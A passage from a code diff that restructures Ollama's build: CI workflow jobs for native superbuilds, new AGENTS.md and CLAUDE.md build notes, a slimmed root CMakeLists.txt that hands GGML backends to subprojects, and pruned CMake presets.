+            superbuild_dir: build\local-superbuild-rocm_v7_1
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_1 -DAMDGPU_TARGETS=gfx1010'
+            expected_payload: lib\ollama\rocm_v7_1\ggml-hip.dll
           - preset: Vulkan
             install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
+            superbuild_target: ollama-llama-server-vulkan
+            superbuild_dir: build\local-superbuild-vulkan
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
+            expected_payload: lib\ollama\vulkan\ggml-vulkan.dll
           - preset: 'MLX CUDA 13'
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
             cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
+            superbuild_target: ollama-mlx-cuda_v13
+            superbuild_dir: build\local-superbuild-mlx-cuda_v13
+            superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
+            expected_payload: lib\ollama\mlx_cuda_v13\mlx.dll
+            install-go: true
             cuda-components:
               - '"cudart"'
               - '"nvcc"'
@@ -201,6 +284,10 @@ jobs:
           }
 
           $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
+          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
+          if (Test-Path $vulkanRuntime) {
+            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
+          }
           echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
           echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
       - if: matrix.preset == 'MLX CUDA 13'
@@ -230,18 +317,44 @@ jobs:
             C:\Program Files\NVIDIA\CUDNN
           key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
       - uses: actions/checkout@v4
+      - if: matrix.superbuild_target == 'ollama-local' || matrix.install-go
+        uses: actions/setup-go@v5
+        with:
+          go-version-file: 'go.mod'
       - uses: actions/cache@v4
         with:
           path: ${{ github.workspace }}\.ccache
-          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
-      - run: |
+          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
+      - name: Build native superbuild
+        if: matrix.superbuild_target
+        run: |
+          $ErrorActionPreference = "Stop"
           Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
           Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation  -DevCmdArguments '-arch=x64 -no_logo'
-          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
-          cmake --build --parallel --preset "${{ matrix.preset }}"
+          cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
+          $env:CMAKE_BUILD_PARALLEL_LEVEL = [Environment]::ProcessorCount
+          cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $([Environment]::ProcessorCount)
+          if (!(Test-Path "${{ matrix.superbuild_dir }}\${{ matrix.expected_payload }}")) {
+            throw "missing ${{ matrix.expected_payload }}"
+          }
         env:
           CMAKE_GENERATOR: Ninja
-
+      - name: Verify local superbuild install
+        if: matrix.superbuild_target == 'ollama-local'
+        run: |
+          $ErrorActionPreference = "Stop"
+          & ".\ollama.exe" --version
+          & "${{ matrix.superbuild_dir }}\lib\ollama\llama-server.exe" --version
+          if (!(Test-Path "${{ matrix.superbuild_dir }}\lib\ollama\llama-quantize.exe")) {
+            throw "missing llama-quantize.exe"
+          }
+          $installPrefix = Join-Path $env:RUNNER_TEMP "ollama-local"
+          cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$installPrefix"
+          & "$installPrefix\bin\ollama.exe" --version
+          & "$installPrefix\lib\ollama\llama-server.exe" --version
+          if (!(Test-Path "$installPrefix\lib\ollama\llama-quantize.exe")) {
+            throw "missing installed llama-quantize.exe"
+          }
   go_mod_tidy:
     runs-on: ubuntu-latest
     steps:
@@ -250,6 +363,7 @@ jobs:
         run: go mod tidy --diff || (echo "Please run 'go mod tidy'." && exit 1)
 
   test:
+    needs: [changes]
     strategy:
       matrix:
         os: [ubuntu-latest, macos-latest, windows-latest]
@@ -263,7 +377,9 @@ jobs:
           go-version-file: 'go.mod'
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - uses: actions/setup-node@v4
         with:
           node-version: '20'
@@ -277,6 +393,17 @@ jobs:
         if: ${{ startsWith(matrix.os, 'ubuntu') }}
         working-directory: ./app/ui/app
         run: npm test
+      - name: Verify MLX generated files are current
+        if: ${{ startsWith(matrix.os, 'ubuntu') }}
+        run: |
+          cmake -S . -B build/mlx-generate -DOLLAMA_MLX_BACKENDS=cuda_v13
+          cmake --build build/mlx-generate --target ollama-mlx-generate-wrappers
+          git diff --exit-code -- \
+            x/imagegen/mlx/mlx.h \
+            x/imagegen/mlx/mlx.c \
+            x/mlxrunner/mlx/generated.h \
+            x/mlxrunner/mlx/generated.c \
+            x/mlxrunner/mlx/include/mlx/c
       - name: Run go generate
         run: go generate ./...
 
@@ -284,15 +411,10 @@ jobs:
         if: always()
         run: go test -count=1 -benchtime=1x ./...
 
+      - name: go test app with live updater tag
+        if: ${{ needs.changes.outputs.app_changed == 'True' && contains(fromJSON('["macos-latest","windows-latest"]'), matrix.os) }}
+        run: go test -count=1 -tags updater_live ./app/...
+
       - uses: golangci/golangci-lint-action@v9
         with:
           only-new-issues: true
-
-  patches:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - name: Verify patches apply cleanly and do not change files
-        run: |
-          make -f Makefile.sync clean checkout apply-patches sync
-          git diff --compact-summary --exit-code

AGENTS.md

@@ -0,0 +1,21 @@
+# AGENTS.md
+
+## Building
+
+For a full build from the repository root:
+
+```sh
+cmake -B build .
+cmake --build build --parallel 8
+./ollama serve
+```
+
+For quick Go-only iteration against an existing native payload:
+
+```sh
+go build .
+go run . serve
+```
+
+See `docs/development.md` for prerequisites, platform notes, GPU backends, and
+the full development workflow.

CLAUDE.md

@@ -0,0 +1,3 @@
+# CLAUDE.md
+
+See `AGENTS.md` for the shared agent instructions for this repository.

CMakeLists.txt

@@ -1,4 +1,4 @@
-cmake_minimum_required(VERSION 3.21)
+cmake_minimum_required(VERSION 3.24)
 
 project(Ollama C CXX)
 
@@ -23,30 +23,23 @@ include(GNUInstallDirs)
 
 find_package(Threads REQUIRED)
 
-set(CMAKE_BUILD_TYPE Release)
-set(BUILD_SHARED_LIBS ON)
+if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
+    set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
+endif()
+
+# These defaults can be overridden by presets (e.g., for static macOS llama-server builds)
+if(NOT DEFINED BUILD_SHARED_LIBS)
+    set(BUILD_SHARED_LIBS ON)
+endif()
 
 set(CMAKE_CXX_STANDARD 17)
 set(CMAKE_CXX_STANDARD_REQUIRED ON)
-set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX Requires gnu++17 extensions to compile properly
+set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX require gnu++17 extensions to compile properly
 
-set(GGML_BUILD ON)
-set(GGML_SHARED ON)
-set(GGML_CCACHE ON)
-set(GGML_BACKEND_DL ON)
-set(GGML_BACKEND_SHARED ON)
-set(GGML_SCHED_MAX_COPIES 4)
-
-set(GGML_LLAMAFILE ON)
-set(GGML_CUDA_PEER_MAX_BATCH_SIZE 128)
-set(GGML_CUDA_GRAPHS ON)
-set(GGML_CUDA_FA ON)
-set(GGML_CUDA_COMPRESSION_MODE default)
-
-if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
-    OR (NOT CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_SYSTEM_PROCESSOR MATCHES "arm|aarch64|ARM64|ARMv[0-9]+"))
-    set(GGML_CPU_ALL_VARIANTS ON)
-endif()
+# GGML backend for inference is provided by llama-server (built separately via
+# llama/server/CMakeLists.txt using FetchContent from the pinned llama.cpp source).
+# The root CMake project is the orchestration entrypoint; backend-specific
+# build rules live in subprojects under cmake/.
 
 if(APPLE)
     set(CMAKE_BUILD_RPATH "@loader_path")
@@ -55,7 +48,8 @@ if(APPLE)
 endif()
 
 set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
-set(OLLAMA_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/lib/ollama/${OLLAMA_RUNNER_DIR})
+set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
+set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
 
 set(CMAKE_RUNTIME_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
 set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
@@ -64,301 +58,9 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
 set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
 set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
 
-# Store ggml include paths for use with target_include_directories later.
-# We avoid global include_directories() to prevent polluting the include path
-# for other projects like MLX (whose openblas dependency has its own common.h).
-set(GGML_INCLUDE_DIRS
-    ${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src
-    ${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/include
-    ${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu
-    ${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu/amx
-)
-
-add_compile_definitions(NDEBUG GGML_VERSION=0x0 GGML_COMMIT=0x0)
-
-# Define GGML version variables for shared library SOVERSION
-# These are required by ggml/src/CMakeLists.txt for proper library versioning
-set(GGML_VERSION_MAJOR 0)
-set(GGML_VERSION_MINOR 0)
-set(GGML_VERSION_PATCH 0)
-set(GGML_VERSION "${GGML_VERSION_MAJOR}.${GGML_VERSION_MINOR}.${GGML_VERSION_PATCH}")
-
-set(GGML_CPU ON)
-add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
-set_property(TARGET ggml PROPERTY EXCLUDE_FROM_ALL TRUE)
-
-get_target_property(CPU_VARIANTS ggml-cpu MANUALLY_ADDED_DEPENDENCIES)
-if(NOT CPU_VARIANTS)
-    set(CPU_VARIANTS "ggml-cpu")
-endif()
-
-# Apply ggml include directories to ggml targets only (not globally)
-target_include_directories(ggml-base PRIVATE ${GGML_INCLUDE_DIRS})
-foreach(variant ${CPU_VARIANTS})
-    if(TARGET ${variant})
-        target_include_directories(${variant} PRIVATE ${GGML_INCLUDE_DIRS})
-    endif()
-endforeach()
-
-install(TARGETS ggml-base ${CPU_VARIANTS}
-    RUNTIME_DEPENDENCIES
-        PRE_EXCLUDE_REGEXES ".*"
-    RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
-    LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
-    FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
-)
-
-check_language(CUDA)
-if(CMAKE_CUDA_COMPILER)
-    if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.24" AND NOT CMAKE_CUDA_ARCHITECTURES)
-        set(CMAKE_CUDA_ARCHITECTURES "native")
-    endif()
-
-    find_package(CUDAToolkit)
-    add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cuda)
-    target_include_directories(ggml-cuda PRIVATE ${GGML_INCLUDE_DIRS})
-    install(TARGETS ggml-cuda
-        RUNTIME_DEPENDENCIES
-            DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
-            PRE_INCLUDE_REGEXES cublas cublasLt cudart
-            PRE_EXCLUDE_REGEXES ".*"
-        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
-        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
-    )
-endif()
-
-set(WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX "^gfx(908|90a|1200|1201):xnack[+-]$"
-    CACHE STRING
-    "Regular expression describing AMDGPU_TARGETS not supported on Windows. Override to force building these targets. Default \"^gfx(908|90a|1200|1201):xnack[+-]$\"."
-)
-
-check_language(HIP)
-if(CMAKE_HIP_COMPILER)
-    set(HIP_PLATFORM "amd")
-
-    if(NOT AMDGPU_TARGETS)
-        find_package(hip REQUIRED)
-        list(FILTER AMDGPU_TARGETS INCLUDE REGEX "^gfx(94[012]|101[02]|1030|110[012]|120[01])$")
-    endif()
-
-    if(WIN32 AND WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX)
-        list(FILTER AMDGPU_TARGETS EXCLUDE REGEX ${WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX})
-    endif()
-
-    if(AMDGPU_TARGETS)
-        find_package(hip REQUIRED)
-        add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-hip)
-        target_include_directories(ggml-hip PRIVATE ${GGML_INCLUDE_DIRS})
-
-        if (WIN32)
-            target_compile_definitions(ggml-hip PRIVATE GGML_CUDA_NO_PEER_COPY)
-        endif()
-
-        target_compile_definitions(ggml-hip PRIVATE GGML_HIP_NO_VMM)
-
-        install(TARGETS ggml-hip
-            RUNTIME_DEPENDENCY_SET rocm
-            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-        )
-        install(RUNTIME_DEPENDENCY_SET rocm
-                DIRECTORIES ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR}
-                PRE_INCLUDE_REGEXES hipblas rocblas amdhip64 rocsolver amd_comgr hsa-runtime64 rocsparse tinfo rocprofiler-register roctx64 rocroller drm drm_amdgpu numa elf
-                PRE_EXCLUDE_REGEXES ".*"
-                POST_EXCLUDE_REGEXES "system32"
-            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-        )
-
-        foreach(HIP_LIB_BIN_INSTALL_DIR IN ITEMS ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR})
-            if(EXISTS ${HIP_LIB_BIN_INSTALL_DIR}/rocblas)
-                install(DIRECTORY ${HIP_LIB_BIN_INSTALL_DIR}/rocblas DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP)
-                break()
-            endif()
-        endforeach()
-    endif()
-endif()
-
-if(NOT APPLE)
-    find_package(Vulkan)
-    if(Vulkan_FOUND)
-        add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-vulkan)
-        target_include_directories(ggml-vulkan PRIVATE ${GGML_INCLUDE_DIRS})
-        install(TARGETS ggml-vulkan
-            RUNTIME_DEPENDENCIES
-                PRE_INCLUDE_REGEXES vulkan
-                PRE_EXCLUDE_REGEXES ".*"
-            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
-            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
-        )
-    endif()
-endif()
-
-option(MLX_ENGINE "Enable MLX backend" OFF)
-if(MLX_ENGINE)
-    message(STATUS "Setting up MLX (this takes a while...)")
-    add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/x/imagegen/mlx)
-
-    # Find CUDA toolkit if MLX is built with CUDA support
-    find_package(CUDAToolkit)
-
-    # Build list of directories for runtime dependency resolution
-    set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
-    # Add cuDNN bin paths for DLLs (Windows MLX CUDA builds)
-    # CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location
-    if(DEFINED ENV{CUDNN_ROOT_DIR})
-        # cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/)
-        file(GLOB CUDNN_BIN_SUBDIRS "$ENV{CUDNN_ROOT_DIR}/bin/*")
-        list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
-    endif()
-    # Add build output directory and MLX dependency build directories
-    list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
-    # OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/)
-    list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
-    # NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
-    # regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
-    # so there is no runtime dependency. This path covers the stub build dir
-    # for windows so we include the DLL in our dependencies.
-    list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
-
-    # Base regexes for runtime dependencies (cross-platform)
-    set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
-    # On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer)
-    if(WIN32)
-        list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
-    endif()
-
-    install(TARGETS mlx mlxc
-        RUNTIME_DEPENDENCIES
-            DIRECTORIES ${MLX_RUNTIME_DIRS}
-            PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
-            PRE_EXCLUDE_REGEXES ".*"
-        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
-        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
-        FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
-    )
-
-    # Install the Metal library for macOS arm64 (must be colocated with the binary)
-    # Metal backend is only built for arm64, not x86_64
-    if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
-        install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
-            DESTINATION ${OLLAMA_INSTALL_DIR}
-            COMPONENT MLX)
-    endif()
-
-    # Install headers for NVRTC JIT compilation at runtime.
-    # MLX's own install rules use the default component so they get skipped by
-    # --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
-    #
-    # Layout:
-    #   ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/  — CCCL headers
-    #   ${OLLAMA_INSTALL_DIR}/include/*.h               — CUDA toolkit headers
-    #
-    # MLX's jit_module.cpp resolves CCCL via
-    #   current_binary_dir()[.parent_path()] / "include" / "cccl"
-    # On Linux, MLX's jit_module.cpp resolves CCCL via
-    #   current_binary_dir().parent_path() / "include" / "cccl", so we create a
-    #   symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include
-    #   This will need refinement if we add multiple CUDA versions for MLX in the future.
-    # CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
-    if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
-        install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
-            DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
-            COMPONENT MLX)
-        install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
-            DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
-            COMPONENT MLX)
-        if(NOT WIN32 AND NOT APPLE)
-            install(CODE "
-                set(_link \"${CMAKE_INSTALL_PREFIX}/lib/ollama/include\")
-                set(_target \"${OLLAMA_RUNNER_DIR}/include\")
-                if(NOT EXISTS \${_link})
-                    execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
-                endif()
-            " COMPONENT MLX)
-        endif()
-    endif()
-
-    # Install minimal CUDA toolkit headers needed by MLX JIT kernels.
-    # These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
-    # The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
-    # $CUDA_PATH/include/*.h via NVRTC --include-path.
-    if(CUDAToolkit_FOUND)
-        # CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
-        # (e.g. ".../include;.../include/cccl"). Find the entry that
-        # contains the CUDA runtime headers we need.
-        set(_cuda_inc "")
-        foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
-            if(EXISTS "${_dir}/cuda_runtime_api.h")
-                set(_cuda_inc "${_dir}")
-                break()
-            endif()
-        endforeach()
-        if(NOT _cuda_inc)
-            message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
-        else()
-            set(_dst "${OLLAMA_INSTALL_DIR}/include")
-            set(_MLX_JIT_CUDA_HEADERS
-                builtin_types.h
-                cooperative_groups.h
-                cuda_bf16.h
-                cuda_bf16.hpp
-                cuda_device_runtime_api.h
-                cuda_fp16.h
-                cuda_fp16.hpp
-                cuda_fp8.h
-                cuda_fp8.hpp
-                cuda_runtime_api.h
-                device_types.h
-                driver_types.h
-                math_constants.h
-                surface_types.h
-                texture_types.h
-                vector_functions.h
-                vector_functions.hpp
-                vector_types.h
-            )
-            foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
-                install(FILES "${_cuda_inc}/${_hdr}"
-                    DESTINATION ${_dst}
-                    COMPONENT MLX)
-            endforeach()
-            # Subdirectory headers
-            install(DIRECTORY "${_cuda_inc}/cooperative_groups"
-                DESTINATION ${_dst}
-                COMPONENT MLX
-                FILES_MATCHING PATTERN "*.h")
-            install(FILES "${_cuda_inc}/crt/host_defines.h"
-                DESTINATION "${_dst}/crt"
-                COMPONENT MLX)
-        endif()
-    endif()
-
-    # On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation)
-    # RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
-    # dlfcn-win32 is a known CMake target with its own install rules (which install
-    # to the wrong destination). We must install it explicitly here.
-    if(WIN32)
-        install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
-            DESTINATION ${OLLAMA_INSTALL_DIR}
-            COMPONENT MLX)
-    endif()
-
-    # Manually install CUDA runtime libraries that MLX loads via dlopen
-    # (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps)
-    if(CUDAToolkit_FOUND)
-        file(GLOB MLX_CUDA_LIBS
-            "${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
-        if(MLX_CUDA_LIBS)
-            install(FILES ${MLX_CUDA_LIBS}
-                DESTINATION ${OLLAMA_INSTALL_DIR}
-                COMPONENT MLX)
-        endif()
-    endif()
+if(EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/llama/server/CMakeLists.txt")
+    set(OLLAMA_HAVE_LLAMA_SERVER TRUE)
+else()
+    set(OLLAMA_HAVE_LLAMA_SERVER FALSE)
 endif()
+include(${CMAKE_CURRENT_SOURCE_DIR}/cmake/local.cmake)

CMakePresets.json

@@ -11,109 +11,10 @@
       }
     },
     {
-      "name": "CPU",
-      "inherits": [ "Default" ]
-    },
-    {
-      "name": "CUDA",
-      "inherits": [ "Default" ]
-    },
-    {
-      "name": "CUDA 11",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "50-virtual;60-virtual;61-virtual;70-virtual;75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual",
-        "CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
-        "OLLAMA_RUNNER_DIR": "cuda_v11"
-      }
-    },
-    {
-      "name": "CUDA 12",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "50;52;60;61;70;75;80;86;89;90;90a;120",
-        "CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
-        "OLLAMA_RUNNER_DIR": "cuda_v12"
-      }
-    },
-    {
-      "name": "CUDA 13",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
-        "CMAKE_CUDA_FLAGS": "-t 4",
-        "OLLAMA_RUNNER_DIR": "cuda_v13"
-      }
-    },
-    {
-      "name": "JetPack 5",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "72;87",
-        "OLLAMA_RUNNER_DIR": "cuda_jetpack5"
-      }
-    },
-    {
-      "name": "JetPack 6",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "87",
-        "OLLAMA_RUNNER_DIR": "cuda_jetpack6"
-      }
-    },
-    {
-      "name": "ROCm",
+      "name": "MLX Metal",
       "inherits": [ "Default" ],
       "cacheVariables": {
-        "CMAKE_HIP_PLATFORM": "amd"
-      }
-    },
-    {
-      "name": "ROCm 6",
-      "inherits": [ "ROCm" ],
-      "cacheVariables": {
-        "CMAKE_HIP_FLAGS": "-parallel-jobs=4",
-        "AMDGPU_TARGETS": "gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
-        "OLLAMA_RUNNER_DIR": "rocm"
-      }
-    },
-    {
-      "name": "ROCm 7",
-      "inherits": [ "ROCm" ],
-      "cacheVariables": {
-        "CMAKE_HIP_FLAGS": "-parallel-jobs=4",
-        "AMDGPU_TARGETS": "gfx942;gfx950;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1103;gfx1150;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
-        "OLLAMA_RUNNER_DIR": "rocm"
-      }
-    },
-    {
-      "name": "Vulkan",
-      "inherits": [ "Default" ],
-      "cacheVariables": {
-        "OLLAMA_RUNNER_DIR": "vulkan"
-      }
-    },
-    {
-      "name": "MLX",
-      "inherits": [ "Default" ],
-      "cacheVariables": {
-        "MLX_ENGINE": "ON",
-        "OLLAMA_RUNNER_DIR": "mlx"
-      }
-    },
-    {
-      "name": "MLX CUDA 12",
-      "inherits": [ "MLX", "CUDA 12" ],
-      "cacheVariables": {
-        "OLLAMA_RUNNER_DIR": "mlx_cuda_v12"
-      }
-    },
-    {
-      "name": "MLX CUDA 13",
-      "inherits": [ "MLX", "CUDA 13" ],
-      "cacheVariables": {
-        "MLX_CUDA_ARCHITECTURES": "86;89;90;90a;100;103;75-virtual;80-virtual;110-virtual;120-virtual;121-virtual",
-        "OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
+        "OLLAMA_MLX_BACKENDS": "metal_v3;metal_v4"
       }
     }
   ],
@@ -124,74 +25,9 @@
       "configuration": "Release"
     },
     {
-      "name": "CPU",
-      "configurePreset": "Default",
-      "targets": [ "ggml-cpu" ]
-    },
-    {
-      "name": "CUDA",
-      "configurePreset": "CUDA",
-      "targets": [ "ggml-cuda" ]
-    },
-    {
-      "name": "CUDA 11",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "CUDA 11"
-    },
-    {
-      "name": "CUDA 12",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "CUDA 12"
-    },
-    {
-      "name": "CUDA 13",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "CUDA 13"
-    },
-    {
-      "name": "JetPack 5",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "JetPack 5"
-    },
-    {
-      "name": "JetPack 6",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "JetPack 6"
-    },
-    {
-      "name": "ROCm",
-      "configurePreset": "ROCm",
-      "targets": [ "ggml-hip" ]
-    },
-    {
-      "name": "ROCm 6",
-      "inherits": [ "ROCm" ],
-      "configurePreset": "ROCm 6"
-    },
-    {
-      "name": "ROCm 7",
-      "inherits": [ "ROCm" ],
-      "configurePreset": "ROCm 7"
-    },
-    {
-      "name": "Vulkan",
